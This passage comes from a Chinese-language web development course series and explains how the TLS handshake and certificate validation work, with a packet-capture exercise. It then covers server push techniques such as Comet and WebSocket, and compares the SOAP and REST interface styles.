因此，我们需要在传统 HTTP 领域以外开疆拓土，这就包括要引入其它的网络协议，或增强、或填补 HTTP 协议所不擅长的空白领域，这也是今天这一讲和下一讲的核心内容。今天我们重点学习 SSL/TLS ，看看它是如何让 HTTP 传输变得安全可靠的。

HTTP，SSL/TLS 和 HTTPS

在一开始的时候，HTTP 的设计者并没有把专门的加密安全传输放进协议设计里面。因此单独使用 HTTP 进行明文的数据传输，一定存在着许多的安全问题。比方说，现在有一份数据需要使用 HTTP 协议从客户端 A 发送到服务端 B，而第三方 C 尝试来做点坏事，于是就可能产生如下四大类安全问题：

Interception：拦截。传输的消息可以被中间人 C 截获，并泄露数据。

Spoofing：伪装。A 和 B 都可能被 C 冒名顶替，因此消息传输变成了 C 发送到 B，或者 A 发送到 C。

Falsification：篡改。C 改写了传输的消息，因此 B 收到了一条被篡改的消息而不知情。

Repudiation：否认。这一类没有 C 什么事，而是由于 A 或 B 不安好心。A 把消息成功发送了，但之后 A 否认这件事发生过；或者 B 其实收到了消息，但是否认他收到过。

但是，与其重新设计一套安全传输方案，倒不如发挥一点拿来主义的精神，把已有的和成熟的安全协议直接拿过来套用，最好它位于呈现层（Presentation Layer），因此正好加塞在 HTTP 所在的应用层（Application Layer）下面，这样这个过程对于 HTTP 本身透明，也不影响原本 HTTP 以下的协议（例如 TCP）。

这个协议就是 SSL/TLS，它使得上面四大问题中，和传输本身密切相关的前三大问题都可以得到解决（第四个问题还需要引入数字签名来解决）。于是，HTTP 摇身一变成了 HTTPS：

HTTP + SSL/TLS = HTTPS

这里涉及到的两个安全协议，SSL 和 TLS，下面简要说明下二者关系。

SSL 指的是 Secure Socket Layer，而 TLS 指的是 Transport Layer Security，事实上，一开始只有 SSL，但是在 3.0 版本之后，SSL 被标准化并通过 RFC 2246 以 SSL 为基础建立了 TLS 的第一个版本，因此可以简单地认为 SSL 和 TLS 是具备父子衍生关系的同一类安全协议。

动手捕获 TLS 报文

介绍了最基本的概念，我们再来看看 HTTPS 是怎样安全工作，让客户端和服务端相互信任的， TLS 连接又是怎样建立起来的。还记得上一讲的选修课堂吗？我们学了怎样抓包。今天我们就能让所学派上用场！自己动手，我们抓 TLS 连接握手的报文来分析。

命令行执行抓包命令，指明要抓 https://www.google.com 的包（当然，你也可以使用其他 HTTPS 网站地址），注意 HTTPS 的默认端口是 443（-i 指定的 interface 可能因为不同的操作系统有所区别，在我的 Mac 上是 en0）：

sudo tcpdump -i en0 -v 'host www.google.com and port 443' -w https.cap

再新建一个命令行窗口，使用 curl 命令来访问 Google 主页：

curl https://www.google.com

于是在看到类似如下抓包后 CTRL + C 停止：

tcpdump: listening on en0, link-type EN10MB (Ethernet), capture size 262144 bytes

^C49 packets captured

719 packets received by filter

0 packets dropped by kernel

接着使用 Wireshark 打开刚才抓的 https.cap，在 filter 中输入 tls，得到如下请求和响应报文：

可以看到，这里有五个重要的握手消息，在它们之后的所有消息都是用于承载实际数据的“Application Data”了。握手的过程略复杂，接下来我会尽可能用通俗的语言把最主要的流程讲清楚。

对称性和非对称性加密

这里我先介绍两个概念，“对称性加密”和“非对称性加密”，这是学习后面内容的重要基础。

对称性加密（Symmetric Cryptography），指的是加密和解密使用相同的密钥。这种方式相对简单，加密解密速度快，但是由于加密和解密需要使用相同的密钥，如何安全地传递密钥，往往成为一个难题。

非对称性加密（Asymmetric Cryptography），指的是数据加密和解密需要使用不同的密钥。通常一个被称为公钥（Public Key），另一个被称为私钥（Private Key），二者一般同时生成，但是公钥往往可以公开和传播，而私钥不能。经过公钥加密的数据，需要用私钥才能解密；反之亦然。这种方法较为复杂，且性能较差，好处就是由于加密和解密的密钥具有相对独立性，公钥可以放心地传播出去，不用担心安全性问题。

原始数据 + 公钥 → 加密数据
加密数据 + 私钥 → 原始数据

TLS 连接建立原理

有了上述基础，下面我们就可以结合图示，看看整个连接建立的握手过程了。

Step 1: Client Hello. 客户端很有礼貌，先向服务端打了个招呼，并携带以下信息：

客户端产生的随机数 A；

客户端支持的加密方法列表。

Step 2: Server Hello. 服务端也很有礼貌，向客户端回了个招呼：

服务端产生的随机数 B；

服务端根据客户端的支持情况确定出的加密方法组合（Cipher Suite）。

Step 3: Certificate, Server Key Exchange, Server Hello Done. 服务端在招呼之后也紧跟着告知：

Certificate，证书信息，证书包含了服务端生成的公钥。这个公钥有什么用呢？别急，后面会说到。

客户端收到消息后，验证确认证书真实有效，那么这个证书里面的公钥也就是可信的了。

接着客户端再生成一个随机数 C（Pre-master Secret），于是现在共有随机数 A、B 和 C，根据约好的加密方法组合，三者可生成新的密钥 X（Master Secret），而由 X 可继续生成真正用于后续数据进行加密和解密的对称密钥。因为它是在本次 TLS 会话中生成的，所以也被称为会话密钥（Session Secret）。简言之：

客户端随机数 A + 服务端随机数 B + 客户端 Pre-master Secret C → 会话密钥

需要注意的是，实际这个 Pre-master Secret 的生成方法不是固定的，而会根据加密的具体算法不同而不同：

上述我介绍的是传统 RSA 方式，即 Pre-master Secret 由客户端独立生成，加密后再通过 Client Key Exchange 发回服务端。

还有一种是 ECDHE 方式，这种方式下无论在客户端还是服务端，Pre-master Secret 需要通过 Client Key Exchange 和 Server Key Exchange 两者承载的参数联合生成。

Step 4: Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message. 接着客户端告诉服务端：

Client Key Exchange，本质上它就是上面说的这个 C，但使用了服务端通过证书发来的公钥加密；

Change Cipher Spec，客户端同意正式启用约好的加密方法和密钥了，后面的数据传输全部都使用密钥 X 来加密；

Encrypted Handshake Message，快速验证：这是客户端对于整个对话进行摘要并加密得到的串，如果经过服务端解密，和原串相等，就证明整个握手过程是成功的。

服务端收到消息后，用自己私钥解密上面的 Client Key Exchange，得到了 C，这样它和客户端一样，也得到了 A、B 和 C，继而到 X，以及最终的会话密钥。

于是，客户端和服务端都得到了能够加密解密传输数据的对称密钥——会话密钥。

因此，我们可以看到：TLS 是通过非对称加密技术来保证握手过程中的可靠性（公钥加密，私钥解密），再通过对称加密技术来保证数据传输过程中的可靠性的。

这种通过较严格、较复杂的方式建立起消息交换渠道，再通过相对简单且性能更高的方式来实际完成主体的数据传输，并且前者具有长效性（即公钥和私钥相对稳定），后者具有一过性（密钥是临时生成的），这样的模式，我们还将在全栈的知识体系中，继续见到。

Step 5: Change Cipher Spec, Encrypted Handshake Message. 服务端最后也告知客户端：

Change Cipher Spec，服务端也同意要正式启用约好的加密方法和密钥，后面的数据传输全部都使用 X 来加密。

Encrypted Handshake Message，快速验证：这是服务端对于整个对话进行摘要并加密得到的串，如果经过客户端解密，和原串相等，就证明整个握手过程是成功的。

总结思考

今天我们了解了关于数据传输的四大类安全问题，了解了 HTTPS 和 SSL/TLS 的概念和它们之间的关系，还通过自己动手抓包的方式，详细学习了 TLS 连接建立的步骤。

TLS 连接的步骤是今天的重点，也是比较难理解的部分，希望你能牢牢地掌握它。现在就来检验一下今天的学习成果吧！请你思考这样两个问题：

有位程序员朋友注意到，自己在使用在线支付功能时，网站访问是使用 HTTPS 加密的，因此他觉得，支付的过程中是不可能出现安全问题的，你觉得这种想法对吗？

在介绍 TLS/SSL 连接建立的过程当中，我提到了，握手过程是使用非对称加密实现的，而真正后续的数据传输部分却是由对称加密实现的。为什么要这么麻烦，全部都使用对称或非对称加密一种不好吗？

你能回答上面的问题吗？如果可以，我相信你已经理解了 HTTPS 安全机制建立的原理。

选修课堂：证书有效验证的原理

在讲解“握手过程”的 step 3 时，我提到了客户端在收到服务端发送过来的证书时，需要校验证书的有效性。这个过程其实也是至关重要的，因为只有确认了证书的有效性，客户端才能放心地使用其中的公钥。如果你对它的理解比较模糊，那就一定要看看今天的选修课堂了。

这就是我们抓包中，服务器发来的证书部分的截图。我们可以看到，这不是单个证书，而是一个证书链，包含了两个证书，每个证书都包含版本、发布机构、有效期、数字签名等基本内容，以及一个公钥。实际上，这两个服务端传回来的证书，和浏览器内置的根证书联合起来，组成了一个单向、完整的证书链：

上图中的第三行，就是携带着服务器公钥的证书，它是从证书发布机构（CA, Certificate Authority）申请得来的，也就是图中第二行的 GTS CA 1O1。证书在申请的时候，我们提到的服务器公钥就已经是该证书的一部分了，因此我们才说，如果证书是有效的，那么它携带的公钥就是有效的。

在当时申请的时候，证书发布机构对证书做摘要生成指纹，并使用它自己的私钥为该指纹加密，生成数字签名（Digital Signature），而这个数字签名也随证书一起发布。这个发布机构的私钥是它内部自己管理的，不会外泄。

指纹 + 私钥 → 数字签名

验证过程则正好是发布过程的反向，即在客户端要对这个被检测证书做两件事：

对它用指定算法进行摘要，得到指纹 P1；

使用证书发布机构的公钥对它的数字签名进行解密，得到指纹 P2。

数字签名 + 公钥 → 指纹

如果 P1 和 P2 一致，就说明证书未被篡改过，也说明这个服务端发来的证书是真实有效的，而不是仿冒的。

好，问题来了，证书发布机构使用非对称性加密和数字签名保证了证书的有效性，那么谁来保证证书发布机构的有效性？

答案就是它的上一级证书发布机构。

CA 是分级管理的，每一级 CA 都根据上述同样的原理，由它的上一级 CA 来加密证书和生成数字签名，来保证其真实性，从而形成一个单向的信任链。同时，标志着最高级别 CA 的根证书数量非常少，且一般在浏览器或操作系统安装的时候就被预置在里面了，因此它们是被我们完全信任的，这就使得真实性的鉴别递归有了最终出口。也就是说，递归自下而上验证的过程，如果一直正确，直至抵达了顶端——浏览器内置的根证书，就说明服务端送过来的证书是安全有效的。

总结一下今天选修课堂的内容。证书有效性的验证，需要使用依赖于证书发布机构的公钥去解密被检测证书的数字签名，如果顺利解密，并且得到的指纹和被检测证书做摘要得到的指纹一致，就说明证书真实有效。

扩展阅读

HOW HTTPS WORKS：漫画版介绍 HTTPS 前前后后，很有趣。

The First Few Milliseconds of an HTTPS Connection：如果你想深究你抓到的 TLS 连接建立的包中每一段报文的意思，这篇文章是一个很好的参考。

文中介绍了两种生成 Pre-master Secret 的方法，其中第二种的方法是 Diffie–Hellman 密钥交换的变种，这里蕴含的数学原理很有意思，如果你感兴趣，请参阅维基百科链接。

03 | 换个角度解决问题：服务端推送技术

你好，我是四火。

今天我们继续和 HTTP“过不去”。在上一讲，我们讲到了 HTTP 在安全传输方面的局限，并介绍了怎样使用经过 TLS 加密的 HTTPS 连接来解决这样的弊端。

今天，我要给你讲讲传统 HTTP 的另一个在交互模式上的局限，就是只能由客户端主动发起消息传递，而服务端只能被动响应消息的局限，并介绍它的解决办法。

Pull 模型的问题

让我们来思考这样一个场景，假设你设计了一款网页版的即时聊天工具，现在你使用浏览器打开了聊天页面，正在和朋友愉快地聊天。这时有朋友给你发送了一条消息，可是由于 HTTP 本身机制的限制，服务端无法主动推送消息，告知浏览器上的聊天页面“你有一条消息”，进而影响到了消息的即时送达。那么，这个问题怎么解决？

你可能会立即想到轮询（Poll），比如浏览器每隔十秒钟去问一下服务端是不是有新消息不就完了嘛。这看起来是个好思路，但明显存在这样两个问题：

消息还是不够即时。换言之，假如正好在某次询问之后服务器收到了消息，那么这条消息的获取延迟可能达到至少十秒。

大量的请求 - 响应，带宽和服务器资源浪费。如果你开着聊天工具页面一个小时，除了这一条消息，却没有进一步的聊天行为，于是按照每十秒发送一次请求计算，一共发起了 360 次请求，而其中居然只有 1 次返回了聊天消息是有实际意义的。

显然，轮询这个方案不好。说到底，其实我们并没有抛开对 HTTP 的已有印象，从问题本身出发去思考解决问题的最佳方式，而是潜意识地受限于 HTTP 的传统交互模式，考虑其中的变通方法。

在进一步分析之前，我们先来看两个容易弄混的概念：Pull 和 Poll。

“Pull”指的是去主动发起行为获取消息，一般在客户端 / 服务器（C/S，Client/Server）或浏览器 / 服务器（B/S，Browser/Server）交互中，客户端或浏览器主动发起的网络请求数据的行为。

而“Poll”，尽管在某些场景下也和 Pull 通用了，但在计算机网络的领域里，通常把它解释为“轮询”，或者“周期性查询”，在 Pull 的基础上增加了“周期性”的概念，这也是它和 Pull 相比最本质的区别。

相应地，和 Pull 行为相对的，从服务端主动发起，发送数据到客户端的行为叫做“Push”。Push 相比 Pull 而言，具备这样两个明显的优势：

高效性。如果没有更新发生，就不会有任何更新消息推送的动作，即每次消息推送都发生在确确实实的更新事件之后，都是有意义的，不会出现请求和响应的资源浪费。

实时性。事件发生后的第一时间即可触发通知操作，理论上不存在任何可能导致通知延迟的硬伤。

可是，有趣的是，事实上 Pull 的应用却远比 Push 更广泛，特别是在分布式系统中。这里有多个原因，其中很重要的一条是：

服务端不需要维护客户端的列表，不需要知晓客户端的情况，不需要了解客户端查询的策略。这有助于把服务端从对客户端繁重的管理工作中解放出来，而成为无状态的简单服务，变得具备幂等性（idempotent，指执行多次和执行一次的结果一样），更容易横向扩展。

尤其在分布式系统中，状态经常成为毒药，有了状态，就不得不考虑状态的保存、丢失、一致性等问题，因此这种无状态往往可以很大程度地简化系统的设计。

服务端推送技术

有了这些基础知识，我们就可以来谈谈实际的服务端推送技术了，这些都从一定程度上解决了 HTTP 传统方式 Pull 的弊端。

1. Comet

严格说，Comet 是一种 Web 应用客户端和服务端交互的模型，它有几种服务端推送的具体实现，但是，它们的大致原理是一样的：客户端发送一个普通的 HTTP 请求到服务端以后，服务端不像以往一样在处理后立即返回数据，而是保持住连接不释放，每当有更新事件发生，就使用分块传输的方式返回数据（如果你忘记了块传输的方式，请回看 [第 1 讲]）。

若干次数据返回以后可以完成此次请求响应过程（分块传输返回长度为 0 的块，表示传输结束），等待客户端下一次请求发送。这种过程看起来也属于轮询，但是每个周期可包含多次服务端数据返回，因而也被形象地称为“长轮询”（Long Polling）。

在服务端推送技术中，Comet 最大的好处是，它 100% 由 HTTP 协议实现，当然，分块传输要求 HTTP 至少是 1.1 版本。但也正因为这点，它也存在一些弊端，比如，客户端必须在服务端结束当次传输后才能向服务端发送消息；HTTP 协议限制了它在每次请求和响应中必须携带完整的头部，这在一定程度上也造成了浪费（这种为了传输实际数据而使用的额外开销叫做 overhead）。

下面我给出了一个 Comet 实现的示例图。浏览器在发出 1 号请求要求数据，连接保持，接着陆续收到几个不同大小的响应数据，并且最后一个大小为 0，浏览器被告知此次传输完成。过了一会儿，浏览器又发出 2 号请求，开始第二轮的类似交互。

在 Comet 方式下，看起来服务端有了推送行为，其实只是对于客户端请求有条件、讲时机的多次返回，因此我们把它称为服务端“假 Push”。

2. WebSocket

HTML 5 规范定义了 WebSocket 协议，它可以通过 HTTP 的端口（或者 HTTPS 的端口）来完成，从而最大程度上对 HTTP 协议通透的防火墙保持友好。但是，它是真正的双向、全双工协议，也就是说，客户端和服务端都可以主动发起请求，回复响应，而且两边的传输都互相独立。

和上文的 Comet 不同，WebSocket 的服务端推送是完全可以由服务端独立、主动发起的，因此它是服务端的“真 Push”。

WebSocket 是一个可谓“科班出身”的二进制协议，也没有那么大的头部开销，因此它的传输效率更高。同时，和 HTTP 不一样的是，它是一个带有状态的协议，双方可以约定好一些状态，而不用在传输的过程中带来带去。而且，WebSocket 相比于 HTTP，它没有同源的限制，服务端的地址可以完全和源页面地址无关，即不会出现臭名昭著的浏览器“跨域问题”。

另外，它和我们之前学习的加密传输也丝毫不冲突，由于它在网络分层模型中位于 TLS 上方，因此他可以使用和 HTTP 一样的加密方式传输：

HTTP → WS
HTTPS → WSS

最后，最有意思的事情在于，和我们之前的认识不同，WebSocket 是使用 HTTP 协议“升级”的方法来帮助建立连接的，下面我们动手来试一试。

首先，我们需要找到一个可以支持 WebSocket 测试的网站，比如 websocket.org，然后我们将使用 Chrome 的网络工具来捕获和显示通过浏览器发送和接收的消息。如果这是你第一次使用 Chrome 的开发者工具，那么你需要好好熟悉它了，因为它将在你今后全栈的道路上派上大用场。

使用 Chrome 打开 Echo Test 页面，在这里你可以发送建立一个 WebSocket 连接。但是别急，我们先打开 Chrome 的开发者工具，并选中 Network 标签，接着点击左上角的清除按钮，把已有页面加载的网络消息清除掉，以获得一个清爽的网络报文监视界面：

接着，确保页面上建立 WebSocket 连接的对端地址和传递的信息都已经填写，比如：

Location:

wss://echo.websocket.org

Message:

Rock it with HTML5 WebSocket

于是就可以点击“Connect”按钮了，旁边的日志框将出现“CONNECTED”字样，同时，Chrome 开发者工具将捕获这样的请求（如果在开发者工具中网络监视界面上，选中消息的消息头处于“parsed”展示模式，你需要点击 Request Headers 右侧的 “view source” 链接来查看原始消息头）：

GET wss://echo.websocket.org/?encoding=text HTTP/1.1

Host: echo.websocket.org

Origin: https://www.websocket.org

Connection: Upgrade

Upgrade: websocket

Sec-WebSocket-Version: 13

Sec-WebSocket-Key: xxx

... (省略其它 HTTP 头)

好，你可以看到，这是一个普普通通的 HTTP GET 请求，但是 URL 是以加密连接“wss”开头的，并且有几个特殊的 HTTP 头：Origin 指出了请求是从哪个页面发起的，Connection: Upgrade 和 Upgrade: websocket 这两个表示客户端要求升级 HTTP 协议为 WebSocket。

好，再来看响应，消息的头部为：

HTTP/1.1 101 Web Socket Protocol Handshake

Connection: Upgrade

Sec-WebSocket-Accept: xxx

Upgrade: websocket

... (省略其它 HTTP 头)

嗯，返回码是 101，描述是“Web Socket Protocol Handshake”，并且，它确认了连接升级为“websocket”的事实。

3. 更多推送技术

到这里，我已经介绍了几种服务端的推送技术，事实上还有更多，但是，如果你依次了解以后认真思考，就会发现，这些原理居然都在某种程度上和我介绍的 Comet 和 WebSocket 这两种类似，有的甚至来自于它们。

这些技术包括：

SSE，即 Server-Sent Events，又叫 EventSource，是一种已被写入 HTML 5 标准的服务端事件推送技术，它允许客户端和服务端之间建立一个单向通道，以让服务端向客户端单方向持续推送事件消息；

为了提高性能，HTTP/2 规范中新添加的服务端推送机制，我们在 [第 01 讲] 中提到过，并在该讲的扩展阅读中有它的原理介绍；

WebRTC，即 Web Real-Time Communication，它是一个支持网页进行视频、语音通信的协议标准，不久前已被加入 W3C 标准，最新的 Chrome 和 Firefox 等主流浏览器都支持；

还有一些利用浏览器插件和扩展达成的服务端推送技术，比如使用 Flash 的 XMLSocket，比如使用 Java 的 Applet，但这些随着 HTML 5 的普及，正慢慢被淘汰。

你看，通过学习一两个典型的技术，再拓展开，去类比了解和分析思考同一领域内的其它技术，就能掌握到最核心的东西，这就是我推荐的一种学习全栈技术的方式。

总结思考

今天我们从 HTTP 的交互局限性引出了网络交互中 Pull 和 Push 的两大模型，比较了它们的优劣。服务端 Push 的方式具备高效性和实时性的优势，而客户端 Pull 的方式令服务端免去状态的维护，从根本上简化了系统。

之后我们以 Comet 和 WebSocket 为重点，介绍了服务端推送的不同方式，尤其是用了实际抓包分析，介绍了通过 HTTP “升级”的方式来建立 WebSocket 连接的原理。

今天学习得怎样呢？来看这样两个问题：

文中介绍了 Push 和 Pull 在原理上的不同，在你的实际项目中，是否应用了 Push 或 Pull 的模型呢？

文中介绍了 Push 比 Pull 具备高效性和实时性的优势，而 Pull 比 Push 则具备使得服务变得无状态的优势，除了最重要的这几个，你还能说出更多它们各自的优势吗？

今天的内容就到这里。以 HTTP 协议为核心，介绍网络协议的三讲文章已经更新完毕了，你是否对于全栈技术本身，还有适合自己的学习方法，有了新的理解呢？欢迎留言和我讨论。

扩展阅读

文中提到了跨域问题，如果感兴趣，推荐你阅读 MDN 的 HTTP 访问控制（CORS）这篇文章。

TutorialsPoint 的 WebSocket 系统教程，对于本文介绍的 WebSocket 协议，需要进一步了解的一个好去处。

关于 HTTP Update 头的 RFC 2616 协议片段和 WebSocket 的 RFC 6445，你也许对响应和请求中的其它 HTTP 头心存疑问，和之前介绍的 HTTP 的 RFC 协议一样，你通常不需要仔细阅读，但它是对协议有问题时的最终去处。

Stream Updates with Server-Sent Events，一篇非常好的介绍 SSE 基础，和同类技术比较优劣，并给出代码示例的文章；如果你对 WebRTC 感兴趣，那么可以先看看这个胶片，再阅读这篇基础知识 Getting Started with WebRTC。

04 | 工整与自由的风格之争：SOAP和REST

你好，我是四火。

今天我要邀请两位风格迥异的主角登上舞台，一位西装革履，另一位随性洒脱。前面那位，代表着工整、严谨和细致；后面那位，代表着自由、灵活和简约。

它们来自两个不同的时代，却同时活跃于当今的互联网，并担当着重量级的角色，影响了一批新技术的诞生。今天，就让我们来认识下它们，它们的名字，分别叫做 SOAP 和 REST。

概念

SOAP，Simple Object Access Protocol，即简单对象访问协议，定义了数据对象传输的格式，以便在网络的节点之间交换信息。你可能会问，HTTP 不就是干这事的吗？其实，它们都在 OSI 7 层模型的应用层上，但却互不冲突，SOAP 并不依赖于 HTTP 而存在，而且它们可以互相配合。

HTTP 负责信息的传输，比如传递文本数据，关心的是消息的送达，但却不关心这个数据代表着什么。这个数据可能本来是一个内存里的对象，是一篇文章，或者是一张图片。但是 SOAP 恰恰相反，它关心的就是怎样把这个数据给序列化成 XML 格式的文本，在传输到对端以后，再还原回来。

用一个形象的比喻就是，消息传输就像快递，HTTP 主要关心的是信封，而 SOAP 主要关心的是信封里的物件。今天我们讨论的 SOAP，不仅仅是协议本身，更主要的是它的风格。

REST，Representational State Transfer，即表现层状态转换，指的是一种为了信息能在互联网上顺利传递而设计的软件架构风格。对，请注意，SOAP 是协议，但 REST 是风格，而非协议或标准，至于 HTTP，它是 REST 风格的重要载体。重要，但不是唯一，因为载体并不只有 HTTP 一个，比如还有 HTML 和 XML，它们恰当地互相配合，组合在一起，来贯彻和体现 REST 的风格。

SOAP 和 REST，由于概念层次上的不同，其实原本是无法放到一起比较的，但是当我们旨在风格层面上讨论 SOAP 和 REST 的时候，这件事却变得可行而有趣了。

现在让我们用一个实际例子来进一步认识它们。这个例子很常见，假设我们要设计一个图书馆，馆中的书可以增删改查（CRUD），特别是要添加一本书的时候，我们分别来看看，应用 SOAP 该怎么做，应用 REST 又该怎么做。

SOAP

这是一个最简单的给图书馆添加一本书的 XML 消息体：

<?xml version="1.0" encoding="UTF-8"?>

<soap:Envelope

 xmlns:soap="https://www.w3.org/2003/05/soap-envelope/"

 soap:encodingStyle="https://www.w3.org/2003/05/soap-encoding">

  <soap:Body xmlns:b="...">

    <b:CreateBook>

      <b:Name>...</m:Name>

      <b:Author>...</m:Author>

      ...

    </b:CreateBook>

  </soap:Body>

</soap:Envelope>

让我来简单解释一下：

1. 第一行指明了这个消息本身格式是 XML，包括它的版本号和编码格式。

2. 这里的很多标签都带有“soap:”的前缀，其实，这里的“soap”就是 XML 的命名空间（其中“xmlns”就是指“xml namespace”），并且通过 XML schema 的方式预先定义好了如下两个 SOAP 消息必须要遵从的规则：

一个是代码片段第 3 行的 soap-envelope，它定义了基本的语法规则，比如标签的从属关系，比如同级某标签的个数限制等等，举例来说，你可以看到例子中有一个 Body 标签位于 Envelope 内部，这就是它定义的；

另一个是代码片段第 4 行的 soap-encoding，它定义了编码和数据类型等规则。

3. 在 Body 标签内部，有一个 CreateBook 标签，这是我们的业务标签，命名空间 b 也是我们自己定义的。通过在内部封装姓名（Name）和作者（Author）等书本信息，实现了在图书馆中添加书本的需求。

上面是一个最简单的例子，实际在 Envelope 中还可以添加 Head 标签，用于存放头部信息，在 Body 中可以添加 Fault 标签，用于存放错误信息。关于这些，都在 XML schema 中做了严格的定义，通过它可以帮助验证一个 XML 是否符合格式，从而可以在最短的时间内验证并发现消息中的格式问题。

SOAP 通常是通过 HTTP POST 的方式发送到对端的，这个图书馆对书本的增删改查操作，URL 可以是同一个，这是因为 SOAP 消息的具体内容写明了具体要干什么（上述的 CreateBook 标签）。比如下面这个例子，请注意其中的 Content-Type，它是令响应具备自我描述特性的重要组成部分：

POST /books HTTP/1.1

Host: xxx

Content-Type: application/soap+xml; charset=utf-8

Content-Length: xxx

... (省略前述的 SOAP 消息体)

最后，谈谈经常和 SOAP 放在一起谈论的 WSDL，Web Service Description Language。

WSDL 用于描述一个 Web Service，说白了，就是用来说明某个 Web 服务该怎样使用，有怎样的接口方法，支持怎样的参数，会有怎样的返回。由于支持 SOAP 的服务端接口是经常使用 WSDL 来描述，因此我们才看到它们总被放在一起讨论，于是在这种情况下，WSDL 常常被形容成 SOAP 服务的使用说明书，但是请注意，本质上它们之间不存在依赖关系。

这种将服务和服务的描述解耦开设计的方式非常普遍，希望你可以去类比和联想。在软件的世界里，我们经常谈论这个“描述”的行为，以及描述者和被描述者。比如元属性描述数据，方法签名描述方法，类描述对象等等。

REST

现在，我们再来看 REST 的做法。REST 的核心要素包括资源、表现层和状态转换这三个部分。我们把前面客户端发送请求的过程使用 REST 风格再来实现一遍，你将看到这三个要点是怎样体现出来的：

1. 协议

我们将使用 HTTP 协议，在加密的情况下，协议是 HTTPS，但这对我们的实现来说没有什么区别。

2. URL

通常来说，这个 URL 要包括域名、版本号以及实体名称，而这个 URL 整体，代表了 REST 中的一类或一项“资源”。比如说：

https://xxx/v1/books

请注意其中的实体名称，它往往是一个单纯的名词，并且以复数形式出现。

这里提到了 URL，我想给经常混用的 URL、URI 做个简要的说明：URL 指的是 Uniform Resource Locator，URI 指的是 Uniform Resource Identifier，前者是统一资源定位符，后者是统一资源标识符。Identifier 可以有多种形式，而 locator 只是其中一种，因此 URI 更宽泛，URL 只是 URI 的其中一种形式。

当我们提到一个完整的地址，例如 https://www.google.com， 它就是 URL，因为它可以被“定位”，它当然也是 URI；但是如果我们只提到上面地址的一个片段，例如 www.google.com，那么由于缺少了具体协议，我们无法完成完整的定位，因此这样的东西只能被叫做一个标识符，故而只能算 URI，而非 URL。

3. 方法

HTTP 的方法反映了这个接口上将执行的行为，如果用自然语言描述，它将是一个动词。比如说，给图书馆添加一本图书，那么这个行为将是“添加”。在以 REST 风格主导的设计中，我们将使用这样的 HTTP 方法来代表增删改查（CRUD）的不同动作：

重点解释下表格的最后两列：

幂等性指的是对服务端的数据状态，执行多次操作是否和执行一次产生的结果一样。从表格中你可以看到，创建资源单位不是幂等的，执行多次就意味着创建了多个资源单位，而其它操作都是幂等的。通常来说，幂等操作是可以被重试而不产生副作用的。

安全性指的是该操作是否对服务端的数据状态产生了影响。从表格中可以看到，获取资源的操作是安全的，不会对资源数据产生影响，但是其它操作都是不安全的。一定条件下，安全操作是可以被缓存的，而不安全的操作，必定对服务端的状态产生了影响，这体现了 REST 的“状态转换”这一要素。

全栈系统的设计和优化都需要紧密围绕幂等性和安全性进行，这是两个非常重要的概念，在我们后续的学习中，你还会反复见到它们，并和它们打交道。

你看，通过这样的办法，就把 HTTP 的方法和实际对资源的操作行为绑定起来了。当然，还有一些其它方法，比较常见的有：

PATCH：和 PUT 类似，也用于资源更新，但支持的是资源单位的部分更新，并且在资源不存在的时候，能够自动创建资源，这个方法实际使用比较少。

HEAD：这个方法只返回资源的头部，避免了资源本身获取和传输的开销。这种方法很有用，经常用来检查资源是否存在，以及有无修改。

OPTIONS：这个方法常用来返回服务器对于指定资源所支持的方法列表。

4. 正文

POST 和 PUT 请求都是有 HTTP 正文的，正文的类型和 Content-Type 的选取有关，比如 JSON 就是最典型的一种格式。请不要轻视这里的 Content-Type，从本质上说，它代表了资源的表现形式，从而体现了 REST 定义中的“表现层”这一要素。

最后，回到我们实际的图书馆添加图书的问题。SOAP 添加一本书的消息，用 REST 风格的 POST 请求实现就会变成这样：

POST /v1/books HTTP/1.1

HOST: ...

Content-Type: application/json

{

  "name": "...",

  "author": "...",

  ...

}

风格之争

看到这儿，你应该已经感受到了，SOAP 和 REST 代表了两种迥异的风格。在我们取舍技术的时候，如果没有给出具体场景和限制，我们往往是很难讲出谁更“好”，而是需要进行比较，权衡利弊的。

SOAP 明显是更“成熟”的那一个。它在数据传输的协议层面做了更多的工作，藉由 XML schema，它具备更严格的检查和校验，配合 WSDL，在真正发送请求前，几乎就对所有远程接口事无巨细的问题有了答案。但是，它的复杂度令人望而生畏，也是它最受人诟病的地方。

REST 则相反，新接口的学习成本很低，只需要知道资源名称，根据我们熟知的规约，就可以创建出 CRUD 的请求来。但是直到真正发送请求去测试为止，并没有办法百分百确定远程接口的调用是否能工作，或者说，并不知道接口定义上是否有不规范、不合常规的坑在里面。

对于互联网来说，SOAP 已经是一项“古老”的技术了，晚辈 REST 似乎更切合互联网的潮流。在大多数情况下，REST 要易用和流行得多，于是很多人都不喜欢繁琐的 SOAP 协议。技术的发展总是有这样的规律，一开始无论问题还是办法都很简单，可是随着需求的进一步增加，解决的方法也缓慢演化，如 SOAP 一般强大而复杂，直到某一天突然掉到谷底，如 REST 一般返璞归真。

但是别忘了，有利必有弊。首先，正是因为 REST 只是一个缺乏限制的风格，而非一个严谨的规范，有太多不明确、不一致的实现导致的问题，这些问题轻者给接口调用者带来困惑，重者导致接口调用错误，甚至服务端数据错误。

其次，REST 通过 HTTP 方法实现本身，也受到了 HTTP 方法的局限性制约。比如最常见的 GET 请求，有时需要一个复杂的查询条件集合，因此参数需要结构化，而 GET 只支持一串键值对组合的参数传递，无法适应业务需要。对于这样的问题，有一些 workaround，比如使用 POST 消息体来传递查询条件的结构体，但那已经偏离了 REST 的最佳实践，丢失了 GET 本身的优势，也带来了实现不一致等一系列问题。

最后，REST 还存在的一个更本质的问题，资源是它的核心概念，这原本带来了抽象和简洁的优势，但如今也成为了它的桎梏。或者说，前面反复提到的增删改查是它最拿手的本事，可是互联网的需求是千变万化的，远不只有简单的增删改查。有时需要一个复杂的多步操作，有时则需要一个异步事务（需要回调或者二次查询等等方式来实现），这些都没有一个完美统一的 REST 风格的解决方案。即便实现出来了，也可谓五花八门，同时失去了以往我们所熟知的 REST 的简洁优势。

互联网总在变复杂，但矛盾的是，人们却希望互联网上的交互会不断变简单。于是这引发了 REST 的流行，可即便 REST 再流行，依旧有它不适合的场景；SOAP 虽古老，依然有它的用武之地。

对于全栈工程师或者期待修炼全栈技能的你我来说，trade-off 是永恒的话题。另外，除了 SOAP 和 REST，其实我们还有其它选择。我将在下一讲，结合实例具体介绍如何选择技术，并设计和实现远程接口。

总结思考

今天我们认识并学习了 SOAP 和 REST 这样两种截然不同的风格，前者工整、严谨和细致，后者自由、灵活和简约。两道思考题如下：

